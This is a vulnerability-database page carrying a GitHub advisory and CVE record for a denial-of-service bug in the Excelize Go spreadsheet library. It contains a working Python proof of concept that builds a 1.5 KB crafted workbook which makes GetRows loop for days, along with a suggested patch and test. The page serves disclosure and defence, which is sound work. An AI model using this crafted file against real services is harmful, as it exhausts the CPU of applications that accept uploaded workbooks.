Vulnerability-Lookup

GHSA-JW42-F3RR-4CC3

Vulnerability from github – Published: 2026-10-08 16:50 – Updated: 2026-10-08 16:50

Summary

Excelize: Unbounded row number in Rows.Columns makes GetRows and the Rows iterator loop for days

Details

Summary

A worksheet whose <row r="..."> number is far past Excel's 1,048,576-row limit makes File.GetRows and the Rows iterator loop once for every missing row. The row limit is checked in Rows.Next, but not in Rows.Columns, which also reads <row> elements. A 1.5 KB file with <row r="231999999999940"> after an ordinary first row keeps GetRows busy for an estimated 11 days (about 4 ns per missing row), using one CPU core and little memory. Any service that calls GetRows or iterates Rows on an uploaded workbook can be tied up by a single request.

Details

Rows.Next checks the row number:

rowNum, _ := attrValToInt("r", xmlElement.Attr)
if rowNum > TotalRows {
    rows.err = ErrMaxRows
    return false
}

But Rows.Columns reads the cells of the current row by consuming tokens until it reaches the next <row> element, and it sets rows.curRow from that element's r without the check (rows.go, around line 179 at 3985c1f):

if rowNum, rowIterator.err = attrValToInt("r", xmlElement.Attr); rowNum != 0 {
    rows.curRow = rowNum
}

After that, rows.curRow is 231999999999940, and each later Next() call takes the rows.curRow >= rows.seekRow shortcut and returns true without reading any XML. GetRows then calls Next() and Columns() once per row number from 2 to 231999999999940. The check in Next() never runs, because the oversized <row> element was already consumed by Columns().

If the oversized row is the first row, Next() reads it and the existing check works; TestGetRows covers only that case. The bug needs a valid row first.

Proof of concept

This script uses only the Python standard library and writes a 1.5 KB workbook:

import zipfile
parts = {
    "[Content_Types].xml": '<?xml version="1.0" encoding="UTF-8"?><Types xmlns="http://schemas.openxmlformats.org/package/2006/content-types"><Default Extension="rels" ContentType="application/vnd.openxmlformats-package.relationships+xml"/><Default Extension="xml" ContentType="application/xml"/><Override PartName="/xl/workbook.xml" ContentType="application/vnd.openxmlformats-officedocument.spreadsheetml.sheet.main+xml"/><Override PartName="/xl/worksheets/sheet1.xml" ContentType="application/vnd.openxmlformats-officedocument.spreadsheetml.worksheet+xml"/></Types>',
    "_rels/.rels": '<?xml version="1.0" encoding="UTF-8"?><Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships"><Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/officeDocument" Target="xl/workbook.xml"/></Relationships>',
    "xl/workbook.xml": '<?xml version="1.0" encoding="UTF-8"?><workbook xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships"><sheets><sheet name="Sheet1" sheetId="1" r:id="rId1"/></sheets></workbook>',
    "xl/_rels/workbook.xml.rels": '<?xml version="1.0" encoding="UTF-8"?><Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships"><Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/worksheet" Target="worksheets/sheet1.xml"/></Relationships>',
    "xl/worksheets/sheet1.xml": '<?xml version="1.0" encoding="UTF-8"?><worksheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main"><sheetData><row r="1"><c r="A1"><v>1</v></c></row><row r="231999999999940"><c r="A231999999999940"><v>2</v></c></row></sheetData></worksheet>',
}
with zipfile.ZipFile("poc.xlsx", "w", zipfile.ZIP_DEFLATED) as z:
    for name, xml in parts.items():
        z.writestr(name, xml)

f, _ := excelize.OpenFile("poc.xlsx")
rows, err := f.GetRows("Sheet1") // does not return

Measured on v2.11.0 (linux/amd64), same file shape: a row number of 2,000,000,000 takes 8.3 s, 4,294,967,297 takes 17.5 s, and 231,999,999,999,940 did not finish in 15 minutes. That's linear, so about 11 days. Max RSS stays at about 10 MB.

The same pattern is in clusterfuzz-testcase-minimized-POIXSSFFuzzer-5937385319563264.xlsx in Apache POI's public test data (its sheet8.xml has <row r="231999999999940">). That's how this was found, by running excelize over POI's test files as part of differential testing with xlsx-lean (https://github.com/keithadler/xlsx-lean).

Suggested patch

Apply the same limit in Columns(), and have Next() stop once an error is recorded. With this change both files above return ErrMaxRows immediately. go test ./... passes (about 130 s). The new test case hangs without the change and passes in 0.015 s with it.

--- a/rows.go
+++ b/rows.go
@@ -97,6 +97,9 @@ type Rows struct {

 // Next will return true if it finds the next row element.
 func (rows *Rows) Next() bool {
+   if rows.err != nil {
+       return false
+   }
    rows.seekRow++
    if rows.curRow >= rows.seekRow {
        rows.curRowOpts = rows.seekRowOpts
@@ -176,7 +179,10 @@ func (rows *Rows) Columns(opts ...Options) ([]string, error) {
            rowIterator.inElement = xmlElement.Name.Local
            if rowIterator.inElement == "row" {
                rowNum := 0
-               if rowNum, rowIterator.err = attrValToInt("r", xmlElement.Attr); rowNum != 0 {
+               if rowNum, rowIterator.err = attrValToInt("r", xmlElement.Attr); rowNum > TotalRows {
+                   rows.err, rows.token = ErrMaxRows, nil
+                   return rowIterator.cells, rows.err
+               } else if rowNum != 0 {
                    rows.curRow = rowNum
                } else if rows.token == nil {
                    rows.curRow++
--- a/rows_test.go
+++ b/rows_test.go
@@ -28,6 +28,18 @@ func TestGetRows(t *testing.T) {
    f.checked = sync.Map{}
    _, err = f.GetRows("Sheet1")
    assert.Equal(t, ErrMaxRows, err)
+   // Test get rows from a file with a row number over the limit after a valid
+   // row, which is read by Rows.Columns rather than Rows.Next: this used to
+   // iterate once per missing row, about 2.3e14 times here
+   f = NewFile()
+   f.Pkg.Store("xl/worksheets/sheet1.xml", fmt.Appendf(nil, `<worksheet xmlns="%s"><sheetData><row r="1"><c><v>1</v></c></row><row r="231999999999940"><c><v>2</v></c></row></sheetData></worksheet>`, NameSpaceSpreadSheet.Value))
+   f.Sheet.Delete("xl/worksheets/sheet1.xml")
+   buf, err := f.WriteToBuffer()
+   assert.NoError(t, err)
+   f, err = OpenReader(buf)
+   assert.NoError(t, err)
+   _, err = f.GetRows("Sheet1")
+   assert.Equal(t, ErrMaxRows, err)
 }

 func TestRows(t *testing.T) {

Impact

Denial of service (CPU exhaustion) for any application that reads untrusted workbooks with GetRows or the Rows iterator. No authentication or user interaction is needed beyond the application accepting a file.

Severity

7.5 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/xuri/excelize/v2"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.1.0"
            },
            {
              "fixed": "2.11.1-0.20260930021559-01a9ff32fb3c"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-107212"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-770"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-10-08T16:50:13Z",
    "nvd_published_at": "2026-10-07T18:17:18Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n\nA worksheet whose `\u003crow r=\"...\"\u003e` number is far past Excel\u0027s 1,048,576-row limit makes `File.GetRows` and the `Rows` iterator loop once for every missing row. The row limit is checked in `Rows.Next`, but not in `Rows.Columns`, which also reads `\u003crow\u003e` elements. A 1.5 KB file with `\u003crow r=\"231999999999940\"\u003e` after an ordinary first row keeps `GetRows` busy for an estimated 11 days (about 4 ns per missing row), using one CPU core and little memory. Any service that calls `GetRows` or iterates `Rows` on an uploaded workbook can be tied up by a single request.\n\n### Details\n\n`Rows.Next` checks the row number:\n\n```go\nrowNum, _ := attrValToInt(\"r\", xmlElement.Attr)\nif rowNum \u003e TotalRows {\n    rows.err = ErrMaxRows\n    return false\n}\n```\n\nBut `Rows.Columns` reads the cells of the current row by consuming tokens until it reaches the *next* `\u003crow\u003e` element, and it sets `rows.curRow` from that element\u0027s `r` without the check (rows.go, around line 179 at 3985c1f):\n\n```go\nif rowNum, rowIterator.err = attrValToInt(\"r\", xmlElement.Attr); rowNum != 0 {\n    rows.curRow = rowNum\n}\n```\n\nAfter that, `rows.curRow` is 231999999999940, and each later `Next()` call takes the `rows.curRow \u003e= rows.seekRow` shortcut and returns `true` without reading any XML. `GetRows` then calls `Next()` and `Columns()` once per row number from 2 to 231999999999940. The check in `Next()` never runs, because the oversized `\u003crow\u003e` element was already consumed by `Columns()`.\n\nIf the oversized row is the *first* row, `Next()` reads it and the existing check works; `TestGetRows` covers only that case. The bug needs a valid row first.\n\n### Proof of concept\n\nThis script uses only the Python standard library and writes a 1.5 KB workbook:\n\n```python\nimport zipfile\nparts = {\n    \"[Content_Types].xml\": \u0027\u003c?xml version=\"1.0\" encoding=\"UTF-8\"?\u003e\u003cTypes xmlns=\"http://schemas.openxmlformats.org/package/2006/content-types\"\u003e\u003cDefault Extension=\"rels\" ContentType=\"application/vnd.openxmlformats-package.relationships+xml\"/\u003e\u003cDefault Extension=\"xml\" ContentType=\"application/xml\"/\u003e\u003cOverride PartName=\"/xl/workbook.xml\" ContentType=\"application/vnd.openxmlformats-officedocument.spreadsheetml.sheet.main+xml\"/\u003e\u003cOverride PartName=\"/xl/worksheets/sheet1.xml\" ContentType=\"application/vnd.openxmlformats-officedocument.spreadsheetml.worksheet+xml\"/\u003e\u003c/Types\u003e\u0027,\n    \"_rels/.rels\": \u0027\u003c?xml version=\"1.0\" encoding=\"UTF-8\"?\u003e\u003cRelationships xmlns=\"http://schemas.openxmlformats.org/package/2006/relationships\"\u003e\u003cRelationship Id=\"rId1\" Type=\"http://schemas.openxmlformats.org/officeDocument/2006/relationships/officeDocument\" Target=\"xl/workbook.xml\"/\u003e\u003c/Relationships\u003e\u0027,\n    \"xl/workbook.xml\": \u0027\u003c?xml version=\"1.0\" encoding=\"UTF-8\"?\u003e\u003cworkbook xmlns=\"http://schemas.openxmlformats.org/spreadsheetml/2006/main\" xmlns:r=\"http://schemas.openxmlformats.org/officeDocument/2006/relationships\"\u003e\u003csheets\u003e\u003csheet name=\"Sheet1\" sheetId=\"1\" r:id=\"rId1\"/\u003e\u003c/sheets\u003e\u003c/workbook\u003e\u0027,\n    \"xl/_rels/workbook.xml.rels\": \u0027\u003c?xml version=\"1.0\" encoding=\"UTF-8\"?\u003e\u003cRelationships xmlns=\"http://schemas.openxmlformats.org/package/2006/relationships\"\u003e\u003cRelationship Id=\"rId1\" Type=\"http://schemas.openxmlformats.org/officeDocument/2006/relationships/worksheet\" Target=\"worksheets/sheet1.xml\"/\u003e\u003c/Relationships\u003e\u0027,\n    \"xl/worksheets/sheet1.xml\": \u0027\u003c?xml version=\"1.0\" encoding=\"UTF-8\"?\u003e\u003cworksheet xmlns=\"http://schemas.openxmlformats.org/spreadsheetml/2006/main\"\u003e\u003csheetData\u003e\u003crow r=\"1\"\u003e\u003cc r=\"A1\"\u003e\u003cv\u003e1\u003c/v\u003e\u003c/c\u003e\u003c/row\u003e\u003crow r=\"231999999999940\"\u003e\u003cc r=\"A231999999999940\"\u003e\u003cv\u003e2\u003c/v\u003e\u003c/c\u003e\u003c/row\u003e\u003c/sheetData\u003e\u003c/worksheet\u003e\u0027,\n}\nwith zipfile.ZipFile(\"poc.xlsx\", \"w\", zipfile.ZIP_DEFLATED) as z:\n    for name, xml in parts.items():\n        z.writestr(name, xml)\n```\n\n```go\nf, _ := excelize.OpenFile(\"poc.xlsx\")\nrows, err := f.GetRows(\"Sheet1\") // does not return\n```\n\nMeasured on v2.11.0 (linux/amd64), same file shape: a row number of 2,000,000,000 takes 8.3 s, 4,294,967,297 takes 17.5 s, and 231,999,999,999,940 did not finish in 15 minutes. That\u0027s linear, so about 11 days. Max RSS stays at about 10 MB.\n\nThe same pattern is in `clusterfuzz-testcase-minimized-POIXSSFFuzzer-5937385319563264.xlsx` in Apache POI\u0027s public test data (its sheet8.xml has `\u003crow r=\"231999999999940\"\u003e`). That\u0027s how this was found, by running excelize over POI\u0027s test files as part of differential testing with xlsx-lean (https://github.com/keithadler/xlsx-lean).\n\n### Suggested patch\n\nApply the same limit in `Columns()`, and have `Next()` stop once an error is recorded. With this change both files above return `ErrMaxRows` immediately. `go test ./...` passes (about 130 s). The new test case hangs without the change and passes in 0.015 s with it.\n\n```diff\n--- a/rows.go\n+++ b/rows.go\n@@ -97,6 +97,9 @@ type Rows struct {\n \n // Next will return true if it finds the next row element.\n func (rows *Rows) Next() bool {\n+\tif rows.err != nil {\n+\t\treturn false\n+\t}\n \trows.seekRow++\n \tif rows.curRow \u003e= rows.seekRow {\n \t\trows.curRowOpts = rows.seekRowOpts\n@@ -176,7 +179,10 @@ func (rows *Rows) Columns(opts ...Options) ([]string, error) {\n \t\t\trowIterator.inElement = xmlElement.Name.Local\n \t\t\tif rowIterator.inElement == \"row\" {\n \t\t\t\trowNum := 0\n-\t\t\t\tif rowNum, rowIterator.err = attrValToInt(\"r\", xmlElement.Attr); rowNum != 0 {\n+\t\t\t\tif rowNum, rowIterator.err = attrValToInt(\"r\", xmlElement.Attr); rowNum \u003e TotalRows {\n+\t\t\t\t\trows.err, rows.token = ErrMaxRows, nil\n+\t\t\t\t\treturn rowIterator.cells, rows.err\n+\t\t\t\t} else if rowNum != 0 {\n \t\t\t\t\trows.curRow = rowNum\n \t\t\t\t} else if rows.token == nil {\n \t\t\t\t\trows.curRow++\n--- a/rows_test.go\n+++ b/rows_test.go\n@@ -28,6 +28,18 @@ func TestGetRows(t *testing.T) {\n \tf.checked = sync.Map{}\n \t_, err = f.GetRows(\"Sheet1\")\n \tassert.Equal(t, ErrMaxRows, err)\n+\t// Test get rows from a file with a row number over the limit after a valid\n+\t// row, which is read by Rows.Columns rather than Rows.Next: this used to\n+\t// iterate once per missing row, about 2.3e14 times here\n+\tf = NewFile()\n+\tf.Pkg.Store(\"xl/worksheets/sheet1.xml\", fmt.Appendf(nil, `\u003cworksheet xmlns=\"%s\"\u003e\u003csheetData\u003e\u003crow r=\"1\"\u003e\u003cc\u003e\u003cv\u003e1\u003c/v\u003e\u003c/c\u003e\u003c/row\u003e\u003crow r=\"231999999999940\"\u003e\u003cc\u003e\u003cv\u003e2\u003c/v\u003e\u003c/c\u003e\u003c/row\u003e\u003c/sheetData\u003e\u003c/worksheet\u003e`, NameSpaceSpreadSheet.Value))\n+\tf.Sheet.Delete(\"xl/worksheets/sheet1.xml\")\n+\tbuf, err := f.WriteToBuffer()\n+\tassert.NoError(t, err)\n+\tf, err = OpenReader(buf)\n+\tassert.NoError(t, err)\n+\t_, err = f.GetRows(\"Sheet1\")\n+\tassert.Equal(t, ErrMaxRows, err)\n }\n \n func TestRows(t *testing.T) {\n```\n\n### Impact\n\nDenial of service (CPU exhaustion) for any application that reads untrusted workbooks with `GetRows` or the `Rows` iterator. No authentication or user interaction is needed beyond the application accepting a file.",
  "id": "GHSA-jw42-f3rr-4cc3",
  "modified": "2026-10-08T16:50:13Z",
  "published": "2026-10-08T16:50:13Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/qax-os/excelize/security/advisories/GHSA-jw42-f3rr-4cc3"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-107212"
    },
    {
      "type": "WEB",
      "url": "https://github.com/qax-os/excelize/pull/2438"
    },
    {
      "type": "WEB",
      "url": "https://github.com/qax-os/excelize/commit/01a9ff32fb3c1f873cf01205e1b8a3285b0e1d23"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/qax-os/excelize"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Excelize: Unbounded row number in Rows.Columns makes GetRows and the Rows iterator loop for days"
}

CVE-2026-107212 (GCVE-0-2026-107212)

Vulnerability from cvelistv5 – Published: 2026-10-07 17:29 – Updated: 2026-10-07 17:57

Title

Excelize: Unbounded row number in Rows.Columns makes GetRows and the Rows iterator loop for days

Summary

Excelize is a Go language library for reading and writing Microsoft Excel spreadsheets. From 2.1.0 to 2.11.0, Rows.Columns accepts a look-ahead row number above TotalRows without applying the limit enforced by Rows.Next. File.GetRows relies on Rows.Next and Rows.Columns, but Rows.Columns consumes the row r attribute without the limit check in Rows.Next. When a crafted worksheet places an oversized row number after an ordinary valid row and the application calls GetRows or iterates Rows, the iterator advances through every missing row number instead of rejecting the workbook, allowing an attacker to consume a CPU core for an attacker-controlled duration. No fixed version is available as of this review.

Severity

7.5 (High)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

SSVC

Exploitation: poc Automatable: yes Technical Impact: partial

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2026-10-07 17:56 UTC

CWE

CWE-770 - Allocation of Resources Without Limits or Throttling

Assigner

GitHub_M CNA under the mitre root

CNA scorecard C 72/100 over 7617 records in the last 180 days details

References

3 references

URL	Tags
https://github.com/qax-os/excelize/security/advis…	x_refsource_CONFIRM
https://github.com/qax-os/excelize/pull/2438	x_refsource_MISC
https://github.com/qax-os/excelize/commit/01a9ff3…	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version
qax-os	excelize	Affected: >= 2.1.0, <= 2.11.0

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-107212",
                "options": [
                  {
                    "Exploitation": "poc"
                  },
                  {
                    "Automatable": "yes"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-10-07T17:56:16.346533Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-10-07T17:57:08.579Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "excelize",
          "vendor": "qax-os",
          "versions": [
            {
              "status": "affected",
              "version": "\u003e= 2.1.0, \u003c= 2.11.0"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "Excelize is a Go language library for reading and writing Microsoft Excel spreadsheets. From 2.1.0 to 2.11.0, Rows.Columns accepts a look-ahead row number above TotalRows without applying the limit enforced by Rows.Next. File.GetRows relies on Rows.Next and Rows.Columns, but Rows.Columns consumes the row r attribute without the limit check in Rows.Next. When a crafted worksheet places an oversized row number after an ordinary valid row and the application calls GetRows or iterates Rows, the iterator advances through every missing row number instead of rejecting the workbook, allowing an attacker to consume a CPU core for an attacker-controlled duration. No fixed version is available as of this review."
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "HIGH",
            "baseScore": 7.5,
            "baseSeverity": "HIGH",
            "confidentialityImpact": "NONE",
            "integrityImpact": "NONE",
            "privilegesRequired": "NONE",
            "scope": "UNCHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-770",
              "description": "CWE-770: Allocation of Resources Without Limits or Throttling",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-10-07T17:29:23.737Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/qax-os/excelize/security/advisories/GHSA-jw42-f3rr-4cc3",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/qax-os/excelize/security/advisories/GHSA-jw42-f3rr-4cc3"
        },
        {
          "name": "https://github.com/qax-os/excelize/pull/2438",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/qax-os/excelize/pull/2438"
        },
        {
          "name": "https://github.com/qax-os/excelize/commit/01a9ff32fb3c1f873cf01205e1b8a3285b0e1d23",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/qax-os/excelize/commit/01a9ff32fb3c1f873cf01205e1b8a3285b0e1d23"
        }
      ],
      "source": {
        "advisory": "GHSA-jw42-f3rr-4cc3",
        "discovery": "UNKNOWN"
      },
      "title": "Excelize: Unbounded row number in Rows.Columns makes GetRows and the Rows iterator loop for days"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2026-107212",
    "datePublished": "2026-10-07T17:29:23.737Z",
    "dateReserved": "2026-10-07T14:34:14.815Z",
    "dateUpdated": "2026-10-07T17:57:08.579Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.

Action not permitted

GHSA-JW42-F3RR-4CC3

Summary

Details

Proof of concept

Suggested patch

Impact

CVE-2026-107212 (GCVE-0-2026-107212)

Tags

Sightings

Nomenclature

Related by attack behaviour